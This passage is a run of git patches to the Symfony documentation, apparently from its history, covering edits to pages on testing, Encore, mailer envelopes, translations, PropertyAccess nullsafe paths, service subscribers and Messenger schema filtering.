     Some hosts - like SymfonyCloud - offer easy `utilities to manage env vars`_
     in production.
 
+.. note::
+
+    Some configuration features are not compatible with env vars. For example,
+    defining some container parameters conditionally based on the existence of
+    another configuration option. When using an env var, the configuration option
+    always exists, because its value will be ``null`` when the related env var
+    is not defined.
+
 .. caution::
 
     Beware that dumping the contents of the ``$_SERVER`` and ``$_ENV`` variables

From 4d29c99c2006a80d40d6d942a29f8afa00d67980 Mon Sep 17 00:00:00 2001
From: Artyum <artyum@protonmail.com>
Date: Thu, 4 Nov 2021 20:52:02 +0400
Subject: [PATCH 3683/7107] [Security] Added a note regarding the loginUser()
 method

---
 testing.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/testing.rst b/testing.rst
index f130dfbb06f..a4d48938779 100644
--- a/testing.rst
+++ b/testing.rst
@@ -625,6 +625,11 @@ You can pass any
 :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\TestBrowserToken` object and
 stores in the session of the test client.
 
+.. note::
+
+    Stateless firewalls cannot use ``loginUser()`` prior to requests by design.
+    Instead you should add the correct token (i.e. header) in each ``request()`` call.
+
 Making AJAX Requests
 ....................
 

From 2aeff1bae199fb4576f11bd043002c5879339cb9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 15:12:47 +0200
Subject: [PATCH 3684/7107] Minor reword

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index a4d48938779..c3b325d68a3 100644
--- a/testing.rst
+++ b/testing.rst
@@ -627,8 +627,8 @@ stores in the session of the test client.
 
 .. note::
 
-    Stateless firewalls cannot use ``loginUser()`` prior to requests by design.
-    Instead you should add the correct token (i.e. header) in each ``request()`` call.
+    By design, the ``loginUser()`` method doesn't work when using stateless firewalls.
+    Instead, add the appropriate token/header in each ``request()`` call.
 
 Making AJAX Requests
 ....................

From 2b6371f27d2d1aeb1adce3e84b8e7c496eac3d21 Mon Sep 17 00:00:00 2001
From: thephilosoft <thephilosoft@gmail.com>
Date: Tue, 7 Dec 2021 03:56:48 -0500
Subject: [PATCH 3685/7107] Add information about strict_mode for encore

---
 frontend/encore/faq.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 4fbace849f4..02adc5cd874 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -169,3 +169,24 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
     // ... the rest of the Encore configuration
 
 .. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html
+
+My functional tests are failing in CI
+-------------------------------------
+
+With something along the lines of
+
+.. code-block:: text
+
+    Uncaught PHP Exception Twig\Error\RuntimeError: "An exception has been thrown during the rendering of a template ("Could not find the entrypoints file from Webpack: the file "/var/www/html/public/build/entrypoints.json" does not exist.
+
+.. 
+
+This is happening because you did not build your encore assets, hence no ``entrypoints.json`` file. Plus encore is working in strict mode by default, which causes  twig functions ``encore_entry_*`` to panic.
+
+To solve that you can add this to your ``config/packages/test/webpack_encore.yaml``
+
+.. code-block:: yaml
+
+    webpack_encore:
+        strict_mode: false
+..

From c58d74115442b609140d73e4947302e1fa23c5f6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 15:32:38 +0200
Subject: [PATCH 3686/7107] Tweaks

---
 frontend/encore/faq.rst | 24 ++++++++++++++----------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 02adc5cd874..6c1392ac5a0 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -170,23 +170,27 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to
 
 .. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html
 
-My functional tests are failing in CI
--------------------------------------
+My Tests are Failing Because of ``entrypoints.json`` File
+---------------------------------------------------------
 
-With something along the lines of
+After installing Encore, you might see the following error when running tests
+locally or on your Continuous Integration server:
 
 .. code-block:: text
 
-    Uncaught PHP Exception Twig\Error\RuntimeError: "An exception has been thrown during the rendering of a template ("Could not find the entrypoints file from Webpack: the file "/var/www/html/public/build/entrypoints.json" does not exist.
+    Uncaught PHP Exception Twig\Error\RuntimeError:
+    "An exception has been thrown during the rendering of a template
+    ("Could not find the entrypoints file from Webpack:
+    the file "/var/www/html/public/build/entrypoints.json" does not exist.
 
-.. 
-
-This is happening because you did not build your encore assets, hence no ``entrypoints.json`` file. Plus encore is working in strict mode by default, which causes  twig functions ``encore_entry_*`` to panic.
-
-To solve that you can add this to your ``config/packages/test/webpack_encore.yaml``
+This is happening because you did not build your Encore assets, hence no
+``entrypoints.json`` file. To solve this error, either build Encore assets or
+set the ``strict_mode`` option to ``false`` (this prevents Encore's Twig
+functions to trigger exceptions when there's no ``entrypoints.json`` file):
 
 .. code-block:: yaml
 
+    # config/packages/test/webpack_encore.yaml
     webpack_encore:
         strict_mode: false
-..
+        # ...

From b09ad2a671f88b97d54bfcf5570cb0491adc9db3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?O=D0=98U=D0=AFd=20da=20silva?=
 <bruno-ds@users.noreply.github.com>
Date: Thu, 22 Sep 2022 15:50:53 +0200
Subject: [PATCH 3687/7107] Remove reference to a removed configuration key

See https://github.com/symfony/symfony-docs/issues/17260 for more details
---
 reference/configuration/framework.rst | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d15bac0ba03..a274985afdb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2167,19 +2167,6 @@ Whether or not to enable validation support.
 This option will automatically be set to ``true`` when one of the child
 settings is configured.
 
-.. _reference-validation-cache:
-
-cache
-.....
-
-**type**: ``string``
-
-The service that is used to persist class metadata in a cache. The service
-has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`.
-
-Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC
-cache provided by the Doctrine project.
-
 .. _reference-validation-enable_annotations:
 
 enable_annotations

From 7db951de985349970d9bd6f6aa44ce85b6898867 Mon Sep 17 00:00:00 2001
From: mark2016 <markgiglio@gmail.com>
Date: Fri, 11 Mar 2022 13:03:20 +1100
Subject: [PATCH 3688/7107] [Mailer] Update mailer.rst

---
 mailer.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index e109c581adc..cca774a7bf5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -368,6 +368,17 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
 
 That's it! The message will be sent via the transport you configured.
 
+.. tip::
+    
+    If the transport is configured to send emails asynchronously, then no email will
+    be sent until a worker consumes it.  To send queued emails, run console commands as
+    specified in :doc:`Consuming Messages (Running the Worker) <messenger-worker>`.
+    Also ensure the PHP timezone in php.ini is set correctly for your region for both
+    the CLI php.ini and webserver php.ini, this ensures the timestamp that the worker
+    sees aligns to the timestamp recorded on the email in the message queue. (Sometimes
+    the CLI and webserver will read different php.ini files, depending on environment 
+    setup).
+
 Email Addresses
 ~~~~~~~~~~~~~~~
 

From 558b043a0956825b30c7e29a03ffd28ee25ced82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 16:44:39 +0200
Subject: [PATCH 3689/7107] Reword

---
 mailer.rst | 15 +++------------
 1 file changed, 3 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cca774a7bf5..18a29affd02 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -366,18 +366,9 @@ and create an :class:`Symfony\\Component\\Mime\\Email` object::
         }
     }
 
-That's it! The message will be sent via the transport you configured.
-
-.. tip::
-    
-    If the transport is configured to send emails asynchronously, then no email will
-    be sent until a worker consumes it.  To send queued emails, run console commands as
-    specified in :doc:`Consuming Messages (Running the Worker) <messenger-worker>`.
-    Also ensure the PHP timezone in php.ini is set correctly for your region for both
-    the CLI php.ini and webserver php.ini, this ensures the timestamp that the worker
-    sees aligns to the timestamp recorded on the email in the message queue. (Sometimes
-    the CLI and webserver will read different php.ini files, depending on environment 
-    setup).
+That's it! The message will be sent via the transport you configured. If the
+transport is configured to :ref:`send emails asynchronously <mailer-sending-messages-async>`,
+the message won't be actually sent until :doc:`a worker consumes it <messenger-worker>`.
 
 Email Addresses
 ~~~~~~~~~~~~~~~

From 6bb460c6c650ce5116a9b854e6b65dd07658b6fe Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Fri, 12 Aug 2022 07:54:15 -0400
Subject: [PATCH 3690/7107] Fix path to bundle translations

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 50ea256af3c..13c2847f855 100644
--- a/translation.rst
+++ b/translation.rst
@@ -485,7 +485,7 @@ Translation Resource/File Names and Locations
 Symfony looks for message files (i.e. translations) in the following default locations:
 
 * the ``translations/`` directory (at the root of the project);
-* the ``Resources/translations/`` directory inside of any bundle.
+* the ``translations/`` directory inside of any bundle (or ``Resources/translations`` with Symfony < 6.1)
 
 The locations are listed here with the highest priority first. That is, you can
 override the translation messages of a bundle in the first directory.

From f6791ca98bb747c278b1a65dc52ef1c7626b8d81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 17:16:23 +0200
Subject: [PATCH 3691/7107] Tweak

---
 translation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 13c2847f855..649fe3efb7c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -485,7 +485,8 @@ Translation Resource/File Names and Locations
 Symfony looks for message files (i.e. translations) in the following default locations:
 
 * the ``translations/`` directory (at the root of the project);
-* the ``translations/`` directory inside of any bundle (or ``Resources/translations`` with Symfony < 6.1)
+* the ``translations/`` directory inside of any bundle (and also their
+  ``Resources/translations/`` directory, which is no longer recommended for bundles).
 
 The locations are listed here with the highest priority first. That is, you can
 override the translation messages of a bundle in the first directory.

From f217868c4f32555ff6d26da0cfa01fa7d35566ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Sep 2022 17:42:10 +0200
Subject: [PATCH 3692/7107] Tweaks

---
 mailer.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index e7cd3e22182..c6f13b64c0b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -553,7 +553,8 @@ and headers.
         framework:
             mailer:
                 envelope:
-                    sender: 'Fabien <fabien@example.com>'
+                    sender: 'fabien@example.com'
+                    # sender: 'Fabien <fabien@example.com>' (use this to add a display name)
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
                     From: 'Fabien <fabien@example.com>'
@@ -575,7 +576,9 @@ and headers.
             <framework:config>
                 <framework:mailer>
                     <framework:envelope>
-                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender>
+                        <framework:sender>fabien@example.com</framework:sender>
+                        <!-- use this to add a display name:
+                        <framework:sender>Fabien &lt;fabien@example.com&gt;</framework:sender> -->
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
@@ -595,7 +598,8 @@ and headers.
             $mailer = $framework->mailer();
             $mailer
                 ->envelope()
-                    ->sender('Fabien <fabien@example.com>')
+                    ->sender('fabien@example.com')
+                    // ->sender('Fabien <fabien@example.com>') (use this to add a display name)
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 

From 6a5d2eec0e9d3fa46fa56f4b4f2faf183cf7bd65 Mon Sep 17 00:00:00 2001
From: Felix Soedjede <soefelix@gmail.com>
Date: Fri, 23 Sep 2022 00:41:40 +0200
Subject: [PATCH 3693/7107] [PropertyAccess] Document nullsafe operator usage

---
 components/property_access.rst | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/components/property_access.rst b/components/property_access.rst
index 956e78531d5..9a2890b3e88 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -63,6 +63,9 @@ method::
     // Symfony\Component\PropertyAccess\Exception\NoSuchIndexException
     $value = $propertyAccessor->getValue($person, '[age]');
 
+    // You can avoid the exception by adding the nullsafe operator
+    $value = $propertyAccessor->getValue($person, '[age?]');
+
 You can also use multi dimensional arrays::
 
     // ...
@@ -101,6 +104,36 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
+.. tip::
+
+    You can give an object graph with nullable object.
+
+    Given an object graph ``comment.person.profile``, where ``person`` is optional (can be null),
+    you can call the property accessor with ``comment.person?.profile`` (using the nullsafe
+    operator) to avoid exception.
+
+    For example::
+
+        class Person
+        {
+        }
+        class Comment
+        {
+            public ?Person $person = null;
+            public string $message;
+        }
+
+        $comment = new Comment();
+        $comment->message = 'test';
+
+        // This code throws an exception of type
+        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException
+        var_dump($propertyAccessor->getValue($comment, 'person.firstname'));
+
+        // The code now returns null, instead of throwing an exception of type
+        // Symfony\Component\PropertyAccess\Exception\UnexpectedTypeException,
+        var_dump($propertyAccessor->getValue($comment, 'person?.firstname')); // null
+
 .. caution::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.

From e92175f067a6aa90435bdba0cf4135064e0bb740 Mon Sep 17 00:00:00 2001
From: Vlad Ghita <vlad_micutul@yahoo.com>
Date: Fri, 23 Sep 2022 12:46:02 +0300
Subject: [PATCH 3694/7107] Fix typo

---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 8492ff24bef..dc6e6da646c 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -10,7 +10,7 @@ to disallow access to the user. Symfony will handle this exception and
 generates a response based on the authentication state:
 
 * **If the user is not authenticated** (or authenticated anonymously), an
-  authentication entry point is used to generated a response (typically
+  authentication entry point is used to generate a response (typically
   a redirect to the login page or an *401 Unauthorized* response);
 * **If the user is authenticated, but does not have the required
   permissions**, a *403 Forbidden* response is generated.

From c7325fa5f05b216f1716cf2cc325a3970b6a6778 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 23 Sep 2022 17:52:52 +0200
Subject: [PATCH 3695/7107] Trying to add quotation markup

Current approach (turning it into a blockquote by indenting it) doesn't work: https://symfony.com/doc/4.4/form/form_collections.html#allowing-new-tags-with-the-prototype
---
 form/form_collections.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index f5cef95ee95..262c4925108 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -412,9 +412,9 @@ you will learn about next!).
     call ``$entityManager->persist($tag)`` on each, you'll receive an error from
     Doctrine:
 
-        A new entity was found through the relationship
-        ``App\Entity\Task#tags`` that was not configured to
-        cascade persist operations for entity...
+    > A new entity was found through the relationship
+    > ``App\Entity\Task#tags`` that was not configured to
+    > cascade persist operations for entity...
 
     To fix this, you may choose to "cascade" the persist operation automatically
     from the ``Task`` object to any related tags. To do this, add the ``cascade``

From 2d6474ad96bc5a1fb91ccf08cc8bbc1cf2f0121f Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Thu, 22 Sep 2022 17:42:55 +0200
Subject: [PATCH 3696/7107] Replace switch statement with match expression

---
 bundles/prepend_extension.rst | 22 +++++++++-----------
 form/type_guesser.rst         | 39 ++++++++++++++---------------------
 security/voters.rst           | 13 +++++-------
 3 files changed, 30 insertions(+), 44 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fe551f31083..7b54ba14de0 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -65,18 +65,16 @@ in case a specific other bundle is not registered::
             // disable AcmeGoodbyeBundle in bundles
             $config = ['use_acme_goodbye' => false];
             foreach ($container->getExtensions() as $name => $extension) {
-                switch ($name) {
-                    case 'acme_something':
-                    case 'acme_other':
-                        // set use_acme_goodbye to false in the config of
-                        // acme_something and acme_other
-                        //
-                        // note that if the user manually configured
-                        // use_acme_goodbye to true in config/services.yaml
-                        // then the setting would in the end be true and not false
-                        $container->prependExtensionConfig($name, $config);
-                        break;
-                }
+                match ($name) {
+                    // set use_acme_goodbye to false in the config of
+                    // acme_something and acme_other
+                    //
+                    // note that if the user manually configured
+                    // use_acme_goodbye to true in config/services.yaml
+                    // then the setting would in the end be true and not false
+                    'acme_something', 'acme_other' => $container->prependExtensionConfig($name, $config),
+                    default => null
+                };
             }
         }
 
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 2856072e8d3..9925669ea55 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -105,30 +105,21 @@ With this knowledge, you can implement the ``guessType()`` method of the
             }
 
             // otherwise, base the type on the @var annotation
-            switch ($annotations['var']) {
-                case 'string':
-                    // there is a high confidence that the type is text when
-                    // @var string is used
-                    return new TypeGuess(TextType::class, [], Guess::HIGH_CONFIDENCE);
-
-                case 'int':
-                case 'integer':
-                    // integers can also be the id of an entity or a checkbox (0 or 1)
-                    return new TypeGuess(IntegerType::class, [], Guess::MEDIUM_CONFIDENCE);
-
-                case 'float':
-                case 'double':
-                case 'real':
-                    return new TypeGuess(NumberType::class, [], Guess::MEDIUM_CONFIDENCE);
-
-                case 'boolean':
-                case 'bool':
-                    return new TypeGuess(CheckboxType::class, [], Guess::HIGH_CONFIDENCE);
-
-                default:
-                    // there is a very low confidence that this one is correct
-                    return new TypeGuess(TextType::class, [], Guess::LOW_CONFIDENCE);
-            }
+            return match($annotations['var']) {
+                // there is a high confidence that the type is text when
+                // @var string is used
+                'string' => new TypeGuess(TextType::class, [], Guess::HIGH_CONFIDENCE),
+
+                // integers can also be the id of an entity or a checkbox (0 or 1)
+                'int', 'integer' => new TypeGuess(IntegerType::class, [], Guess::MEDIUM_CONFIDENCE),
+
+                'float', 'double', 'real' => new TypeGuess(NumberType::class, [], Guess::MEDIUM_CONFIDENCE),
+
+                'boolean', 'bool' => new TypeGuess(CheckboxType::class, [], Guess::HIGH_CONFIDENCE),
+
+                // there is a very low confidence that this one is correct
+                default => new TypeGuess(TextType::class, [], Guess::LOW_CONFIDENCE)
+            };
         }
 
         protected function readPhpDocAnnotations(string $class, string $property): array
diff --git a/security/voters.rst b/security/voters.rst
index 45fcc50b4ac..58aef78a3b6 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -153,14 +153,11 @@ would look like this::
             /** @var Post $post */
             $post = $subject;
 
-            switch ($attribute) {
-                case self::VIEW:
-                    return $this->canView($post, $user);
-                case self::EDIT:
-                    return $this->canEdit($post, $user);
-            }
-
-            throw new \LogicException('This code should not be reached!');
+            return match($attribute) {
+                self::VIEW => $this->canView($post, $user),
+                self::EDIT => $this->canEdit($post, $user),
+                default => throw new \LogicException('This code should not be reached!')
+            };
         }
 
         private function canView(Post $post, User $user): bool

From aa672928388fc52e61a757026e24b3f7c241f7b4 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Sat, 24 Sep 2022 08:51:35 -0300
Subject: [PATCH 3697/7107] [Cache] Tip to not reconfigure system cache

---
 cache.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/cache.rst b/cache.rst
index 9982c33a7cf..534a11b2573 100644
--- a/cache.rst
+++ b/cache.rst
@@ -96,6 +96,11 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
             ],
         ]);
 
+.. tip::
+
+    While it is possible to reconfigure the system cache, it is not recommended, because
+    the default is really the best possible configuration.
+
 The Cache component comes with a series of adapters pre-configured:
 
 * :doc:`cache.adapter.apcu </components/cache/adapters/apcu_adapter>`

From 6dba219a43ef18f28b5b922a736cb2d4375ab652 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 25 Sep 2022 11:58:14 +0200
Subject: [PATCH 3698/7107] [DependencyInjection] Add a section for testing
 service subscribers

---
 .../service_subscribers_locators.rst          | 53 ++++++++++++++++++-
 1 file changed, 52 insertions(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 72971213618..b2196ba1578 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -256,7 +256,7 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments: 
+                arguments:
                   - !service_locator
                       App\FooCommand: '@app.command_handler.foo'
                       App\BarCommand: '@app.command_handler.bar'
@@ -723,4 +723,55 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+Testing a Service Subscriber
+----------------------------
+
+When you need to unit test a service subscriber, you can either create a fake
+``ServiceLocator``::
+
+    use Symfony\Component\DependencyInjection\ServiceLocator;
+
+    $container = new class() extends ServiceLocator {
+        private $services = [];
+
+        public function __construct()
+        {
+            parent::__construct([
+                'foo' => function () {
+                    return $this->services['foo'] = $this->services['foo'] ?? new stdClass();
+                },
+                'bar' => function () {
+                    return $this->services['bar'] = $this->services['bar'] ?? $this->createBar();
+                },
+            ]);
+        }
+
+        private function createBar()
+        {
+            $bar = new stdClass();
+            $bar->foo = $this->get('foo');
+
+            return $bar;
+        }
+    };
+
+    $serviceSubscriber = new MyService($container);
+    // ...
+
+Or mock it when using ``PHPUnit``::
+
+    use Psr\Container\ContainerInterface;
+
+    $container = $this->createMock(ContainerInterface::class);
+    $container->expects(self::any())
+        ->method('get')
+        ->willReturnMap([
+            ['foo', $this->createStub(Foo::class)],
+            ['bar', $this->createStub(Bar::class)],
+        ])
+    ;
+
+    $serviceSubscriber = new MyService($container);
+    // ...
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern

From f0048ef4bbef632a6677d8cd65933ad42e2239a0 Mon Sep 17 00:00:00 2001
From: Yanick Witschi <yanick.witschi@terminal42.ch>
Date: Tue, 27 Sep 2022 15:43:33 +0200
Subject: [PATCH 3699/7107] Fix docs referencing an incorrect PHP function

---
 service_container/service_subscribers_locators.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index f947dd9ba87..7612333f6b3 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -293,10 +293,10 @@ argument of type ``service_locator``:
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
-                    'App\FooCommand' => ref('app.command_handler.foo'),
-                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    'App\FooCommand' => service('app.command_handler.foo'),
+                    'App\BarCommand' => service('app.command_handler.bar'),
                     // if the element has no key, the ID of the original service is used
-                    ref('app.command_handler.baz'),
+                    service('app.command_handler.baz'),
                 ])]);
         };
 

From 185d4caef130ff525044c8062a9c5ce51d56ed01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Sep 2022 16:41:58 +0200
Subject: [PATCH 3700/7107] Minor tweak

---
 service_container/service_subscribers_locators.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 7612333f6b3..50ec684f681 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -293,6 +293,7 @@ argument of type ``service_locator``:
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
+                    // In versions earlier to Symfony 5.1 the service() function was called ref()
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
                     // if the element has no key, the ID of the original service is used

From 83a3fe7649c98c355dc3adeded713bbc9255ae33 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Sep 2022 16:43:09 +0200
Subject: [PATCH 3701/7107] Remove an unnecessary note

---
 service_container/service_subscribers_locators.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d29b48fbc09..cc8410dbc31 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -293,7 +293,6 @@ argument of type ``service_locator``:
 
             $services->set(CommandBus::class)
                 ->args([service_locator([
-                    // In versions earlier to Symfony 5.1 the service() function was called ref()
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
                     // if the element has no key, the ID of the original service is used

From 54fa0bf58a1d2167c4c1003b1907c1cef8e775e3 Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Tue, 27 Sep 2022 11:06:59 -0400
Subject: [PATCH 3702/7107] Restore tip regarding schema filtering during
 migrations

---
 messenger.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 20f1136de94..e942dfbb2e7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1439,6 +1439,36 @@ a table named ``messenger_messages``.
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
+.. tip::
+
+    To avoid tools like Doctrine Migrations from trying to remove this table because
+    it's not part of your normal schema, you can set the ``schema_filter`` option:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/doctrine.yaml
+            doctrine:
+                dbal:
+                    schema_filter: '~^(?!messenger_messages)~'
+
+        .. code-block:: xml
+
+            # config/packages/doctrine.xml
+            <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
+
+        .. code-block:: php
+
+            # config/packages/doctrine.php
+            $container->loadFromExtension('doctrine', [
+                'dbal' => [
+                    'schema_filter'  => '~^(?!messenger_messages)~',
+                    // ...
+                ],
+                // ...
+            ]);
+
 .. caution::
 
     The datetime property of the messages stored in the database uses the

From 3bea56b750d98ae816ed674c3d9c70b7b5f03a3b Mon Sep 17 00:00:00 2001
From: Jarek Jakubowski <egger1991@gmail.com>
Date: Mon, 26 Sep 2022 15:03:54 +0200
Subject: [PATCH 3703/7107] Fix typo

"private services services"
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c40039e5f08..683998543ec 100644
--- a/testing.rst
+++ b/testing.rst
@@ -272,7 +272,7 @@ the container is stored in ``self::$container``::
 
 The container in ``self::$container`` is actually a special test container.
 It gives you access to both the public services and the non-removed
-:ref:`private services <container-public>` services.
+:ref:`private services <container-public>`.
 
 .. note::
 

From 3d1774a64be07f1cdbddd70cba9e791f0fc3e6cf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Sep 2022 17:40:06 +0200
Subject: [PATCH 3704/7107] Update RST syntax

---
 form/form_collections.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 262c4925108..0797a1ca057 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -412,9 +412,11 @@ you will learn about next!).
     call ``$entityManager->persist($tag)`` on each, you'll receive an error from
     Doctrine:
 
-    > A new entity was found through the relationship
-    > ``App\Entity\Task#tags`` that was not configured to
-    > cascade persist operations for entity...
+    .. code-block:: text
+
+        A new entity was found through the relationship
+        ``App\Entity\Task#tags`` that was not configured to
+        cascade persist operations for entity...
 
     To fix this, you may choose to "cascade" the persist operation automatically
     from the ``Task`` object to any related tags. To do this, add the ``cascade``

From 4bf1a42f43639174f7b5685583c701380cfb8532 Mon Sep 17 00:00:00 2001
From: Malte Wunsch <mw@webfactory.de>
Date: Tue, 27 Sep 2022 20:21:16 +0200
Subject: [PATCH 3705/7107] Fix use statement

---
 bundles/extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index bbbfd398018..edbcb5cd270 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
     namespace Acme\HelloBundle\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\DependencyInjection\Extension;
+    use Symfony\Component\DependencyInjection\Extension\Extension;
 
     class AcmeHelloExtension extends Extension
     {

From 69d06ffa668dc8e1b76120fb2d0f3444abd56b99 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 28 Sep 2022 09:20:07 +0200
Subject: [PATCH 3706/7107] remove display names from envelope headers

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c6f13b64c0b..18a29affd02 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -554,7 +554,6 @@ and headers.
             mailer:
                 envelope:
                     sender: 'fabien@example.com'
-                    # sender: 'Fabien <fabien@example.com>' (use this to add a display name)
                     recipients: ['foo@example.com', 'bar@example.com']
